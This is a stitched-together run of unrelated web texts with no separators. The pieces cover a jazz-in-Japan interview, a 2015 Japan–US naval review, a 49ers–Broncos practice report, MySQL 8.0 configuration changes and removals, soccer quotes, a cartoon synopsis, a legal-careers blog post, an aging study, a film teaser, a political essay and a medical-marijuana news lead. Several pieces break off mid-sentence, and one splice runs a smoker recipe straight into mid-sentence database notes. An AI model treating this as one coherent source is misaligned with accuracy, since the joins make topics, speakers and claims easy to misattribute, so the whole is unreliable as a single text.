Yes. Well, again, if you go back to an economic reason, there were thousands of American troops stationed in Japan who wanted live music, who wanted to be entertained. There were musicians among them, but they weren't enough to actually fill up a dance-hall orchestra or club. And so they would hire Japanese musicians. It was one of the safer kinds of employment, at least for people who had some musical talent at all. In the [American] occupation years, there was a lot of widespread unemployment, and musicians did pretty well because they could get these gigs. I tell, in the book, of stories where Army trucks ride up to train stations or somewhere where musicians hang out, and saying, 'OK, we need a couple clarinets, a trombone, a drummer.' People would pile in and then they'd go to the gig. And then there were some of the officers' clubs, where they might have a stable band that would be playing on a regular basis. Basically, the Army gave them stock arrangements: 'Learn these! Play these!' And that's really where they would go.
Enlarge this image toggle caption Keystone/Getty Images Keystone/Getty Images
You also begin to see Japanese musicians in the '50s and '60s even make an impression on U.S. audiences. The biggest name would probably be [pianist] Toshiko Akiyoshi, but perhaps you could identify some of these early pioneers, and what's interesting about their stories?
Well, Akiyoshi is obviously the most high-profile, and the most compelling story. She was one of a very small handful of artists who insisted on playing bebop only, who didn't want to have a vocalist, who would argue with club owners about what kind of music she would present. She was very uncompromising about that. And bebop wasn't necessarily that popular among Army officers, either, but there were black officers' clubs where people there were more interested in bebop than in dance music. And [American musicians] like Hampton Hawes were there then, Ed Thigpen — and they would sometimes play. Sadao Watanabe, the famous alto player in Akiyoshi's band in the early '50s, would sometimes play. He wound up following in her footsteps to Berklee [College of Music], but it was about 10 years later.
The way that a lot of these musicians came to be known to Americans is through occupation clubs and meeting American musicians who were enlisted. There was another guy named "Sleepy" Matsumoto who got his name because he, like a lot of musicians at the time, was doing heroin, and so had this sleepy look on his face. But he was a really good [tenor saxophone] player; people respected him.
As this robust Japanese jazz musician scene forms, one would imagine — and you spend a lot of time in your book dealing with this — that musicians themselves, and cultural commentators around them, would start wrestling with the idea of authenticity, right? Of thinking that they or Japanese musicians were outsiders. Where does this criticism arise from?
I think that even though I trace authenticity as being something important to [Japanese jazz musicians] before the war, I think it really becomes an issue and a pain in the late '40s and all through the '50s, and maybe even into the early '60s. A lot of it had to do with jazz critics themselves, people who were writing for Swing Journal [the leading Japanese jazz periodical]. They would make comparisons, say, 'George Kawaguchi is the Japanese Gene Krupa.' They would make these comparisons all the time, trying to make sense of what these musicians were doing.
But there's evidence that the musicians were doing this themselves. You know, 'I'm so-and-so, and I imitate so-and-so, from the States. Who do you imitate?' And they know the whole time; they think of it as being a sort of necessary stage that every artist goes through in their development. But then it just seems to persist, and it's not until the early '60s that people start saying, 'OK, now we need to break away from this.' There's been at least a generation of jazz artists who are still making claims without any particular shame that they're studying and emulating one person. And it's something that comes to be reinforced as part of their subculture of jazz.
Like I said, I think the critics don't help. As you're familiar with, critics inventing categories like "East Coast" and "West Coast" — jazz critics in Japan pretty much did the same thing. They even said at one point, 'Well, Tokyo is more like the East Coast of America, and Osaka is more like the West Coast.' Stuff like this where they're trying to make sense of the scene, but doing so in a really kind of ham-fisted way that wasn't doing justice to the actual music that was going on.
I presume that in the struggle to differentiate themselves within American audiences, or come to grips with having some sort of post-imitative style, certain Japanese jazz musicians would start looking for conscious exoticisms, or particularly Japanese references in their music.
Absolutely. A couple of examples come to mind immediately. There's a drummer named Hideo Shiraki, who is sort of known as a hard bop drummer. He did a record in 1961 with a koto player on a couple of songs. And then four or five years later, he went to Berlin and played a concert with his quartet and three female koto players. This was a sensation, and people were really crazy about it, because it seemed to be this nice fusion. This was one of the reasons they were asked to come out in the first place — if they had gone out and played their normal club repertoire, the question would have been, "Well, why didn't we just get some Americans to do this?"
The other example is 1967 — the Sharps and Flats Big Band goes to Newport [Jazz Festival], which was a really big deal. [Newport] commissions a bunch of arrangements of Japanese folk songs, and that was their whole program. Nobuo Hara [the bandleader] was asked about this in the Western press, and said, 'We normally play Woody Herman and Count Basie at home, but we go out to the United States — what's the point? They still have Basie, they still have Herman.'
So it's a relatively easy way for them to be noticeable individuals. To some degree, Akiyoshi does this, too, but she doesn't do it for the same reasons. She doesn't have the same immediate incentive that these people did — she's thinking more of building a book of compositions, and she doesn't rely exclusively on traditional Japanese instruments, or timbres, or themes, or something like that. That's part of what she does, but it's not the entirety of the work that she does. It does play a role in getting her noticed, but there are other things about her work that don't really have any noticeable exotic Japanese touches about them.
How would you describe the embrace of jazz in Japan in the present day? Is it still the same young, cosmopolitan thing — is it part of popular culture at all? Is it kind of an alternative thing to do?
Yeah, it's kind of an alternative thing to do. It has this cachet of being hip and sophisticated. There are varying levels and degrees of engagement where some people engage in it as a hobby where they collect recordings and either listen really deeply to them or just play them in the background. When I was there last year, I was interviewed by a couple of guys, and they said everybody learns about jazz when they're in college. And I think that used to be the case for their generation in the '60s, but I don't think that's the case right now. I think people have to dig a little harder to be exposed to it, but once they get it, they can become some of the most well-informed, passionate fans of the music in the world. They're not all like that, but when they are, they really are. It's actually really inspiring to see how much it means — some of the best friendships I have there are made from this mutual enthusiasm for jazz, and it means something really special to them. It's not just a superficial appendage — it affects a lot of parts of their lives.
So my standard answer to this question is that it's not really widely popular, like, you don't see it on television very much. There's a weekly program on NHK Radio [the Japanese public broadcaster] which features jazz, but that's really the only radio station that does that. But the fans that are there are very knowledgeable, very enthusiastic. They're real supporters — they'll go to great length sometimes to expose other people to the music. They take it very seriously.
To back up, UNESCO's rationale for having such a thing as International Jazz Day rests a little bit upon jazz as representing freedom among oppressed people worldwide. In your writing about jazz in Japan, it's not really about that.
No.
What else would it be about?
Oh, boy, that's a good question. Well, I think the line that's out there, that jazz represents freedom for everyone, is baloney. I think [that statement] is very much tied to its American origin, to American power in the world. I think that, however much I love jazz, I think that if Portugal had as much influence in the world, fado would probably be "the jazz" of the world. There's a certain sense in which a lot of Americans believe that the rest of the world really wants what we have — they're all Americans deep down — and I don't subscribe to that way of thinking.
That said, I think jazz can mean freedom to some people. People in the Soviet Bloc that listened to it on Willis Conover's [Voice of America radio] show — I think it did represent that to them, and I think it represented something different from the stifling existence in which they lived. But it also can mean something that's less universal. It can be a sort of Afro-logic, or African Diaspora sort of sensibility. Or other areas where people incorporate their own ethnic music into jazz, they'll say it represents their national spirit. You'll have people who say, 'Yes, it comes from America, but it belongs to everyone now, and when we add our own things to it, it belongs to us.'
I think there's something to be said — you know, a lot of people identify with it not because it represents freedom, but because it represents power, or strength, or ability, or something like that.
Finally, is there anything else that you feel is important to communicate about how jazz in Japan has played out? Is there even such a thing as "Japanese jazz"?
Well, I don't think there's such a thing as Japanese jazz in the sense of something that represents a cultural essential or spirit or something like that. One of the interesting things — some of the people most interested in using Japanese instruments and repertoire are not Japanese themselves.
But I think it's no longer surprising to people, as it was a generation ago, for Japan to produce outstanding jazz musicians. There's the guy who has a Blue Note contract now...
Takuya Kuroda.
Yes, Kuroda, and there's Hiromi Uehara, the pianist who's really, really doing well. There's still the tendency that once they go over really big in the States, they become celebrities in Japan. But I don't think the rest of the world is that surprised that Japan can really turn out these artists. There's not that same kind of stigma that's attached to them.CLOSE Japan carries out a review of its Maritime Self-Defense Force overseen by Prime Minister Shinzo Abe. Video provided by AFP Newslook
Japanese Prime Minister Shinzo Abe, center left, and Defense Minister Gen Nakatani, second left, are escorted by Capt. Christopher Bolt, center right, commanding officer of the USS Ronald Reagan, as they are aboard the American nuclear-powered aircraft carrier following the annual Japan Maritime Self-Defense Force fleet review in the waters off Sagami Bay, south of Tokyo, on Oct. 18, 2015. (Photo11: AP)
SAGAMI BAY, Japan — Japan and the United States staged a naval show of strength off Tokyo Bay on Sunday as they flashed a pair of powerful, flat-deck warships perhaps just days before the U.S. Navy plans to challenge disputed Chinese claims to territory in the nearby South China Sea.
The aircraft carrier USS Ronald Reagan and the JS Izumo, the largest warship Japan has built since World War II, highlighted a seagoing review by Japan’s Maritime Self Defense Force that included 36 warships and dozens of military aircraft.
Shortly after the ceremony, Prime Minister Shinzo Abe became the first serving Japanese leader to board a U.S. aircraft carrier when he flew to the Ronald Reagan by helicopter.
Although the Japanese fleet review is held every three years, it held added significance this year because of mounting tensions over artificial islands China has built in the South China Sea, as well as new defense legislation in Japan that eases decades-long restrictions on Japan’s military.
The Ronald Reagan arrived this month at its new homeport in Yokosuka, Japan. The ship recently completed a year-long modernization program and is considered one of the most powerful ships in the U.S. Navy. Its recent transfer to Japan is part of the U.S. “rebalance” to focus more on Asia.
The Japanese Maritime Self-Defense Force flagship and destroyer Kurama, left, leads a fleet of navy vessels during a fleet review by Prime Minister Shinzo Abe in Sagami Bay in Japan on Oct. 18, 2015. (Photo11: Kimimasa Mayama, European Pressphoto Agency)
The Izumo was commissioned this year. Although designed primarily to host helicopters for anti-submarine warfare and other duties, the Izumo’s long flat deck and overall design have led many to believe that Japan eventually could use the ship to carry fixed-wing aircraft.
Japanese officials have emphatically denied that.
Nonetheless, Abe last month succeeded in a long-sought goal to allow Japan’s military — including its maritime self-defense force — to aid U.S. or friendly forces when they come under attack. That previously was forbidden under Japan’s pacifist Constitution.
Japan currently is embroiled in a tense dispute with China over ownership of a tiny group of islands in the East China Sea. And Abe has supported U.S. demands that China halt its island-building program in the South China Sea.
U.S. officials have said in recent weeks that they plan to send U.S. warships within the presumed 12-mile territorial limit around the new islands. The patrols would be intended to demonstrate U.S. commitment to “freedom of navigation” in the region.
The Ronald Reagan was the first U.S. vessel to respond to the earthquake and tsunami in March 2011 and was warmly received when it arrived at its new home port on Oct. 2.
The carrier "is a 'tomodachi' (friend) who rushed to the rescue at the time of the Great East Japan Earthquake. I give it a hearty welcome," Abe said in a speech aboard a Japanese warship during Sunday's fleet review, according to the Kyodo news service.
Abe also reaffirmed a commitment for Japan’s military to play a greater role in world affairs.
"By highly hoisting the flag of proactive pacifism, I'm determined to contribute more than ever to world peace and prosperity," Abe said.
In addition to the Ronald Reagan, two other U.S. warships — the cruiser USS Chancellorsville and guided missile destroyer USS Mustin — also took part in the fleet review, along with warships from Australia, France, India and South Korea.
The Navy was represented at the fleet review by Vice Adm. Nora Tyson, commander of the San Diego-based 3rd Fleet — a signal of the growing commitment of West Coast based forces to the Asia-Pacific region.
Read or Share this story: http://usat.ly/1RPPzIXENGLEWOOD, Col. – Linebacker NaVorro Bowman helped set the tone during the 49ers-Broncos joint practice on Wednesday with a tackle on running back Ronnie Hillman during an early 11-on-11 drill.
There was no message intended for last year’s Super Bowl championship squad, Bowman said.
“I’m just practicing hard,” Bowman said. “I try to keep the morale of the team, of the defense, up. It’s just me playing ball. It got a little chippy out there, but that’s expected. In all, we want to keep everyone healthy, keep it between the lines and respect one another.”
A couple brief skirmishes broke out during the two-hour practice. Ahmad Brooks got into it with Broncos center James Ferentz, while Aaron Lynch and Denver’s Dillon Day mixed it up. On the other side of the field, Broncos Sylvester Williams threw a punch at 49ers guard Zane Beadles. There was also a brief shoving match during a special-teams drill.
The Broncos clearly landed more blows – of the non-physical nature -- when the teams went to 11-on-11 play. The Broncos landed some deep throws, while the 49ers’ offense had a difficult time functioning against Denver’s pass defense.
“They’re a great team,” 49ers safety Antoine Bethea said. “They know how to practice, how to play and how to win.”
Said Bowman, “I think we did good. There are always some things to learn from. Certain calls were missed. Certain calls weren’t made. Things like that, but we got another day to get better and we play them on Sunday.”
Quarterback competition: Colin Kaepernick came out to the practice field wearing full pads, but he remained mostly on the sideline. Kaepernick took part in three 11-on-11 snaps to hand the ball off during zone-read plays. He was seen throwing some light passes of about 10 yards on a side field when the teams were working on special teams. Afterward, Kaepernick signed autographs for approximately 20 minutes.
Kaepernick has not practiced since the 49ers' open practice Aug. 10 at Kezar Stadium. He is experiencing tightness in his throwing shoulder -- or arm fatigue -- after throwing from 86 to 102 passes per day through the first nine practices.
Blaine Gabbert, who continues to get all of the first-team practice snaps with Kaepernick unavailable, completed four of seven pass attempts with one interception and three sacks during team drills.
Rookie Jeff Driskel took the second-team reps, while newly signed Christian Ponder handled the third-team snaps. During the final seven snaps of team drills, the 49ers did not complete a pass and Gabbert, Driskel and Ponder each threw interceptions.
Cheering crowd: The practice was open to the public, and the crowd had a lot to cheer about. During the last team period while the Broncos recorded three interceptions, wide receiver Emmanuel Sanders beat Jimmie Ward for a long touchdown catch from Mark Sanchez. The Broncos also made it difficult for the 49ers to get much going during 7-on-7 drills.
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This ‘n’ that
--Ponder worked out last week for the Arizona Cardinals. He did not have a workout with the 49ers, however. He passed a physical on Monday and was immediately signed to take the flight to Denver and participate as the team’s third quarterback. Ponder takes the roster spot that opened when Thad Lewis went on injured reserve due to a torn ACL in his left knee. Ponder completed three of eight passes with one interception and two sacks.
--Driskel completed four of nine pass attempts with one interception and one sack.
--Trent Brown continued to work with the 49ers’ first-team offensive line at right tackle. Both Brown and Anthony Davis fared well in one-on-one drills.
--Defensive lineman Arik Armstead was in full pads but did not participate in practice due to a left shoulder injury. During practice he worked on the side with the 49ers’ strength and conditioning staff, as well as Hall of Fame pass-rusher Charles Haley, who has been helping out for the past week.
--Ward made a nice play against Demaryius Thomas in a 7-on-7 drill when he stripped Thomas of the ball after what looked like a completion near the sideline.
--Rookie defensive lineman DeForest Buckner demonstrated his strength when he tossed aside Broncos tackle Donald Stephenson in a one-on-one run-blocking drill.
--Receiver DiAndre Campbell had a Gabbert pass deflect off his hands, resulting in linebacker Todd Davis’ interception. DeAndrew White and Bryce Treggs also dropped passes.
--Kenneth Acker recorded a sack of Broncos rookie quarterback Paxton Lynch off the left corner.
--The only noticeable injury occurred during a one-on-one drill, when Broncos defensive lineman Derek Wolfe went down with an apparent left leg injury.
Next up: The 49ers will return to the Broncos practice facility Thursday for another joint practice, beginning at 9:30 a.m. (MT).
Tune in tonight at 5 & 11 p.m. when I'll discuss all the news from Wednesday's 49ers practice in Denver on SportsTalk Live -- and also on SportsNet Central at 6 & 10:30 p.m. -- all on CSN Bay Area.First of all, the idea for doing this comes from Alton Brown and his show Good Eats. Without his inspiration, I wouldn't have even considered making this.
Recently my good friend Martin moved back to Kansas from LA. When he left, he took his smoker with him. This left me without access to a smoker. This is A Bad Thing. Smoked food is one of life's great pleasures. I decided that I need to make my own smoker.
I should explain the basic differences between grilling, BBQing, and smoking meat. Each is a way of cooking meat, but they differ in methods and results.
Grilling is cooking meat by the direct application of high heat with a gas burner or an electric heater. Grilling is simple since temperature is easy, but doesn't bring any new flavors to the party.
BBQing is cooking meat by the direct application of heat with charcoal or wood. The burning of the fuel adds flavor to the meat. BBQing requires more skill since the flames must be managed to prevent burning or low temperatures.
Smoking |
memory consumption for statements that generate lots of warnings.
Enable event_scheduler by default (WL#9644) – This work by Abhishek Ranjan changes the default of event_scheduler from OFF to ON. This is seen as an enabler for new features in SYS, for example “kill idle transactions”.
Enable binary log by default (WL#10470) – This work by Narendra Chauhan changes the default of –log-bin from OFF to ON. Nearly all production installations have the binary log enabled as it is used for replication and point-in-time recovery. Thus, by enabling binary log by default we eliminate one configuration step for users (enabling it later requires a mysqld restart). By enabling it by default we also get better test coverage and it becomes easier to spot performance regressions.
Enable replication chains by default (WL#10479) – This work by Ganapati Sabhahit changes the default of log-slave-updates from OFF to ON. This causes a slave to log replicated events into its own binary log. This option ensures correct behavior in various replication chain setups, which have become the norm today. This is also required for Group Replication.
Deprecation and Removal
Remove query cache (WL#10824) – This work by Steinar Gunderson removes the query cache for 8.0. See also blog post Retiring Support for the Query Cache by Morgan Tocker. All related startup options and configuration variables are removed as well. HAVE_QUERY_CACHE will now return NO, so that well-behaved clients can check for this and behave accordingly. The SQL_NO_CACHE keyword will continue to exist, but will be ignored (no effect in the grammar). This is so that e.g. mysqldump can continue working.
Rename tx_{read_only,isolation} variables to transaction_{read_only,isolation} (WL#9636) – This work by Nisha Gopalakrishnan removes the system variables called tx_read_only and tx_isolation. Use transaction_read_only and transaction_isolation instead. This is done to harmonize wording with command-line format –transaction_read_only and –transaction_isolation as well as with other transaction related system varaibles like transaction_alloc_block_size, transaction_allow_batching, and transaction_prealloc_size. See also Bug#70008 reported by Simon Mudd.
Remove log_warnings option (WL#9676) – This work by Tatjana Nurnberg removes the old log-warnings option deprecated in 5.7. Use log_error_verbosity instead.
Remove ignore_builtin_innodb option (WL#9675) – This work by Georgi Kodinov removes the old ignore_builtin_innodb options deprecated in 5.6. Even when used, these options have had no effect since MySQL 5.6.
Remove ENCODE()/DECODE() functions (WL#10788) – This work by Georgi Kodinov removes the ENCODE() and DECODE() functions deprecated in 5.7. Use AES_ENCRYPT() and AES_DECRYPT() instead.
Remove ENCRYPT(), DES_ENCRYPT(), and DES_DECRYPT() functions (WL#10789) – This work by Georgi Kodinov removes the ENCRYPT(), DES_ENCRYPT(), and DES_DECRYPT() functions deprecated in 5.7. Use AES_ENCRYPT() and AES_DECRYPT() instead.
Remove parameter secure_auth (WL#9674) – This work by Georgi Kodinov removes the secure_auth deprecated in 5.7. The option appears in server and clients. Even when used, these options have had no effect since MySQL 5.7. The secure-auth was used to control whether the mysql_old_password methods are allowed on the client and the server but this authentication method is now gone from both the client and the server.
Remove EXPLAIN PARTITIONS and EXTENDED options (WL#9678) – This work by Sreeharsha Ramanavarapu removes the EXTENDED and PARTITIONS keywords from EXPLAIN deprecated in 5.7. Both EXTENDED and PARTITIONS output are enabled by default since 5.7, so these keywords are superfluous and thus removed.
Remove unused date_format, datetime_format, time_format, max_tmp_tables (WL#9680) – This work by Sreeharsha Ramanavarapu removes system variables date_format, datetime_format, time_format,and max_tmp_tables. These variables have never been in use (or at least not been used in MySQL 4.1 or newer releases).
Remove multi_range_count system variable (WL#10908) – This work by Sreeharsha Ramanavarapu removes the system variable multi_range_count deprecated in 5.1. Even when used, this option has had no effect since MySQL 5.5. From MySQL 5.5 and onwards, arbitrarily long lists of ranges can be processed.
Remove the global scope of the sql_log_bin system variable (WL#10922) – This work by Luis Soares removes the global scope of the sql_log_bin system variable in MySQL 8.0. The sql_log_bin was set read only in MySQL 5.5, 5.6 and 5.7. In addition, reading this variable was deprecated in MySQL 5.7. See also Bug#67433 reported by Jeremy Cole.
Deprecate master.info and relay-log.info files (WL#6959) – This work by Luis Soares implements a deprecation warning in the server when either relay-log-info-repository or master-info-repository are set to FILE instead of TABLE. The default setting is TABLE for both options and this is also the most crash-safe setup.
Deprecate mysqlbinlog –stop-never-slave-server-id (WL#9633) – This work by Luis Soares implements a deprecation warning in the mysqlbinlog utility for the –stop-never-slave-server-id option. Use the –connection-server-id option instead.
Deprecate mysqlbinlog- -short-form (WL#9632) – This work by Luis Soares implements a deprecation warning in the mysqlbinlog utility for the –short-form option. This option is not to be used in production (as stated in the docs) and is now too overloaded to be used even when testing.
Deprecate IGNORE_SERVER_IDS when GTID_MODE=ON (WL#10963) – This work by Luis Soares implements a deprecation warning when users try to use CHANGE MASTER TO IGNORE_SERVER_IDS together with GTID_MODE=ON. When GTID_MODE=ON, any transaction that has been applied is automatically filtered out, so there is no need for IGNORE_SERVER_IDS.
Deprecate expire_logs_days (WL#10924) – This work by Neha Kumari adds a deprecation warning when users try to set expire_logs_days. Use the new variable binlog_expire_log_seconds instead. The new variable allows users to set expire time which need not be a multiple of days. This is the better way to set the expiration time and also more flexible, it makes the system variable expire_logs_days superfluous.
That’s it for now. Thank you for using MySQL!Laurent Koscielny is confident that Arsenal have made significant strides forward this season.
The France international was a key member of the side as they finished fourth in the Premier League and won the FA Cup.
While the 28-year-old regrets the fact the Gunners could not maintain their title bid in February and March, he remains satisfied with the campaign as a whole.
"We need to learn from this and I think next season will be different. When we make mistakes we learn from them and we will not do the same next time" Laurent Koscielny
“It’s been a good season,” Koscielny told Arsenal Player. “We started well in the first six months, and after that we had two months when we had some difficult results and conceded a lot of goals.
“During those first six months we played well and sometimes not so well, but we were very strong. At the back every player did their jobs defensively and we conceded less goals, which was very important for us.
“We stayed a long time in first place, but the season is very long and we knew would have some troughs. We needed to play differently and stay strong, and we didn’t.
“We need to learn from this and I think next season will be different. When we make mistakes we learn from them and we will not do the same next time.”
Koscielny was one of a number of players to sustain an injury at a critical point in the season, and he believes this had a major impact on Arsenal’s title challenge.
“We need to have all our players fit and when you lose Aaron after Christmas, Theo at the beginning of January, Wilshere after the England game, then Mesut and me, it makes it difficult,” he said.
“When you have a lot of injuries, to players who are very important to the team, it is difficult to win something. We need to be together like a unit, like the last few months we played and then we can see if we can do something [next year].”Stickin' Around is a Canadian animated children and adult's television series from Nelvana Limited, which originally aired on YTV in Canada and on ABC in Australia in 1996 and Cartoon Network in 2002. In Latin America, it was broadcast by Nickelodeon under the title Los Grafitos. In United Kingdom it aired on Nickelodeon in 1996 and Pop in 2004. It was also broadcast on TV Asahi and Disney Channel in Japan and TVNZ 2 in New Zealand. It was also aired in the United States on Fox Kids from 1997 to 1998. As of now, it airs on Qubo as part of its nighttime line until March 26, 2018. However, it returned to Qubo on June 4, 2018 as part of the network's Qubo Night Owl block until January 2019.[1]
The show, which originated as a series of 1-minute vignettes on CBS in 1994,[2] is about two children named Stacy and Bradley, their hand-drawn adventures with their friends and family, and their fantasies. Stacy and Bradley, best friends, encounter many problems they must face as they continue to grow up – if it is with school, bullies, friends, and parents. They always come up with imaginative ideas to eliminate these obstacles, such as becoming a superhero, and putting themselves in a different environment where they have no trouble in defeating their enemies.
According to Nelvana, it uses the "advanced computer graphics of "Boiler Paint", virtually convincing us that kids are creating their own animated series."[3] The show won the Gemini Award for "Best Animated Program or Series" in the spring of 1998, while being nominated once again during the fall of 1998, for the Gemini of the same award.
The show's original run was between 1996 to 1998, with reruns airing prominently on YTV until 2004. The show returned in reruns on YTV from 2006 to 2008.« Wilmer Puts a Woman on Top; Brits' List of Best U.S. Female Lawyers | Main | Time Inc. Lawyer Writes a Novel »
Vivia Chen
February 15, 2012
What year is this? 1965? Judging by what I'm hearing about how uptight senior men are about their female subordinates, I'd say we're barely out of the Mad Men era.
As you know, one reason women are stagnating in law and other professions is that they lack a "sponsor"—a powerful (male) ally at the firm or company who will go to bat for them to advance their career.
You can probably think of dozens of reasons why women might lack a sponsor, but this one shocked me: Men are afraid of the sexual innuendo that might arise if they take an active interest in a woman's career—especially if they're seen together dining in a restaurant.
No kidding. As author Sylvia Ann Hewlett reminds me, former Hewlett-Packard CEO Mark Hurd "got shot down when he had dinner alone with a young female contractor." Though Hurd seemed to have taken more than a business interest in the young woman (she complained about his behavior), Hewlett says the takeaway is that it's just too risky to be closely associated with a younger woman.
In her study, which she describes in Harvard Business Review, Hewlett says 64 percent of senior men said that they would not sponsor a woman because it would entail spending one-on-one time together, which would likely stir rumors of an inappropriate relationship. "They didn’t care about the details of what went on in the HP situation, but the lesson was that they should never, ever have dinner alone with a female employee," says Hewlett.
But the problem is not just dinner after hours, but lunch too, says career coach Ellen Ostrow. In Attorney at Work, Ostrow writes:
One ambitious and intrepid young woman extended to the male head of her practice group what she assumed was an innocent invitation to lunch. She was immediately rebuffed with his assertion that he never joins women associates for lunch (or any other “social” activity). Why? Because his wife objects.
Ostrow adds that this practice group head "routinely goes to lunch with the male associates in the group but eschews all mingling with young women attorneys to avoid even a hint of impropriety."
It sounds to me that these guys (and maybe their wives) have a serious hang-up. But until the dinosaurs come home, what can you do? Ostrow suggests that the sponsor and the junior person grab a meal during the day, include others if it's a dinner, or first arrange a meal where significant others are invited to allay suspicion.
That's rather complicated, if you ask me. I mean, all you want is a simple, occasional dinner to discuss your career—not a conference with friends and family.
But Ostrow says the main point is that the junior person not give up. "Don’t take 'no' for an answer.... Empathize with the partner’s concerns but point out the uneven playing field this creates. Invite the partner to think with you about alternatives."
Frankly, I've always thought having an after-work drink was better for bonding than a formal dinner. So what about a round of cocktails? "Oh, I don't think they're ready for drinks," says Ostrow.
Photo: AMC's Mad Men
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Do you have topics you'd like to discuss or tips to share? E-mail The Careerist's chief blogger, Vivia Chen, at VChen@alm.com.Ever suspect that you’re secretly younger (or older) than someone your exact same age? Well, you probably are. (Photo: Getty Images)
Looking at your classmates in 20 years’ time, you might notice something odd about their appearances: Although you were probably all born within a year of one another, you also probably all look different ages. According to new research published in the Proceedings of the National Academy of Sciences, internal markers show we really do age at different paces.
The data for this research was taken as part of the Dunedin study, a longitudinal research project where the health of around 1,000 men and women from Dunedin, New Zealand, has been monitored from their birth, in 1972 and 1973, until now.
For the current research, scientists from the United States, United Kingdom, Israel, and New Zealand looked at 18 biological markers of these men and women for the effects of aging. The measurements included kidney, liver, lung, metabolic, and immune function, along with HDL cholesterol, cardiorespiratory fitness, dental health, blood vessel condition, and telomere length.
Taking all the biological markers into account, the scientists set a “biological age” for each person in the study at age 38 in 2011, placing it on a timeline from under age 30 to over age 60. Then the researchers compared the results to the same measurements taken at ages 26 and 32 so they could track how quickly each participant was aging.
As the researchers guessed, those who had older biological ages at age 38 seemed to be aging faster than their peers. For most, the aging rate was roughly one year per year, but some were aging at a rate of up to three years per one year, and others were actually aging closer to zero years per one year.
Men and women who fared worse on the biological measurements for aging also performed worse on tests typically given to the elderly, like those of balance and coordination. In addition, when Duke undergrads were recruited to guess the real-time ages of the participants, they presumed that those who were aging faster biologically were older.
Related: When Did Women Start to Outlive Men?
Aging isn’t like winning a genetic lottery, according to the researchers. Past studies of twins have shown aging is only about 20 percent genes, leaving a lot of room for other factors. Although this test didn’t answer the question of why some age quicker than others, the researchers are now looking into it, says lead study author Daniel Belsky, an assistant professor of geriatrics at Duke University’s Center for the Study of Aging and Human Development.
“I think the three general categories of factors that people think about in research on aging are genetics, early-life experiences like chronic stress or trauma, and lifestyle factors like diet and exercise,” Belsky tells Yahoo Health.
Going forward, Belsky says, this research can contribute in a few key ways. “First, measurements of the aging process allow us to begin asking questions about what might cause accelerated aging,” he says. “We can compare people who have different life histories, who engage in different kinds of behaviors, and who live in different environments to test if any of these factors contribute to differences in aging rates.”
Belsky also says determining “pace of aging” can be highly useful, because these measurements can test the effectiveness of therapies directly aimed at preventing disease by slowing the aging process. “Currently, such evaluations require very long follow-up times because we have to wait and see if people develop chronic disease or die prematurely,” he says. “Using measurements like our ‘pace of aging,’ it is possible to test the effectiveness of therapies to slow aging in real time.”
In addition to testing therapies, Belsky also thinks “pace of aging” can be used in clinical settings to improve doctor-patient communication about health risks. “Rather than discussing a large number of different measurements taken in the course of a physical exam, a doctor could begin by discussing just one number — Pace of Aging or Biological Age,” says Belsky. “There is still much work to be done to get to this point, but that’s where we are headed.”
Read This Next: 8 Real-Life Truths About Losing Weight as a Couple
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Have a personal health story to share? We want to hear it. Tell us at YHTrueStories@yahoo.com.0
As we’ve reported in the past, Rogue One went through a lot of reshoots. While the film is fairly seamless (although the plot kind of stutters through the first and third acts), you need look no further than the trailers to see how much had changed. The first teaser trailer for Rogue One was released in April, and it’s crazy to see how much has changed in terms of dialogue, shots, and even what the outcome of the movie might be. Hopefully, one day someone will ask director Gareth Edwards about these changes, but until then, we can only look at what was altered from the trailers.
Spoilers ahead if you haven’t seen Rogue One as we’ll be pointing out all of the stuff that’s in the trailers that didn’t make the final cut.Brian Snyder / Reuters Democratic U.S. presidential candidates Hillary Clinton and Sen. Bernie Sanders stand together during a campaign rally where Sanders endorsed Clinton in Portsmouth, New Hampshire, U.S., July 12, 2016.
I’ve heard for nearly every major recent political blunder the United States of America has made, you can find a video of Senator Bernie Sanders trying to put a stop to it.
At 74-years-old, Bernie has been fighting for social, economic, and racial justice for virtually his entire life. He is a rarity among politicians today — a public servant whose honesty, integrity, and record shows without a doubt he only wants what’s best for you and me.
Bernie has been fighting the progressive cause for the working and middle classes as long as he has been able and will until he can no longer — no matter what. He wants nothing more than for all of us to live out our days happily with the people we love, and he would never, ever do anything to jeopardize that.
Every great religion in the world — Christianity, Judaism, Islam, Buddhism — essentially comes to do unto others as you would like them to do unto you…I believe that we are in this together.
He has inspired millions — including me. Bernie has brought so many disillusioned Americans into the political process, given them a voice, and has changed the game of politics forever. He’s made it clear millions and millions of Americans support a bold, progressive agenda, and that, together, we can create a government and economy that works for everyone.
It is for these reasons my friends and family have come to know me as a very, very avid Bernie Sanders supporter for the last 15 months — as I will always be. Long before he announced his presidential campaign, I believed Bernie represented the best in American politics, always fighting for what’s right for us — not for powerful special interests.
Google Bernie’s House and Senate floor speeches if you haven’t yet, and you’ll see what I mean. But, as of today, what you won’t find is a video of Bernie Sanders trying to stop Hillary Clinton from becoming the next President. Instead, you’ll find him fighting for the complete opposite.
Though the current electoral process needs immense work — like reducing the influence of big money, giving independent voters a real voice, making sure third party candidates have an actual chance, and getting rid of undemocratic functions like superdelegates — and though, like many, I certainly have my concerns about Hillary Clinton, I have no reason to doubt Bernie Sanders now or ever.
So, if Senator Bernie Sanders tells me — given the dire prospect of a Donald Trump presidency and the way the political system is currently structured — that it is in the best interest of you and me and the future of our country to elect Secretary Hillary Clinton as the next President of the United States, I’m with her, too.
My hope is that when future historians look back and describe how our country moved forward into reversing the drift toward oligarchy, and created a government which represents all the people and not just the few, they will note that, to a significant degree, that effort began with the political revolution of 2016.
Recent events and this election have made clear we need political, electoral, economic, and social reform now more than ever. We need to open the doors of political participation to all and close the many gaps of inequality in our society and our communities. We need to make sure everyone has the education, resources, and opportunity to live a decent life.
We need to make sure that the American Dream holds true no matter who you are.
To do this and more, we must elect progressives at local, state, and federal levels and continue to build upon the revolution Bernie Sanders made mainstream. For now, a growing progressive coalition amid a Hillary Clinton presidency is our best path toward making this vision a reality. We have the power to do it now.
That said, this should not be wholly viewed as an endorsement of Hillary Clinton — instead it is a recognition of what we must do together right now to move America forward as it stands today. But just as Bernie always said, it isn’t about him — it’s about all of us—and no President can do this alone.Four years after Delaware medical marijuana legislation passed, patients are still forced to buy pot illegally.
Buy Photo Deb McPherson, of New Castle, is medical marijuana cardholder. She is one of 200 Delawareans certified by the state under a 2011 law to use pot. (Photo: SUCHAT PEDERSON/THE NEWS JOURNAL)Buy Photo Story Highlights In 2011, Delaware became 16th state to legalize medical marijuana.
200 Delawareans are certified by the state to use pot to treat a variety of conditions.
Delays will push opening of Delaware's only medical marijuana dispensary to at least June.
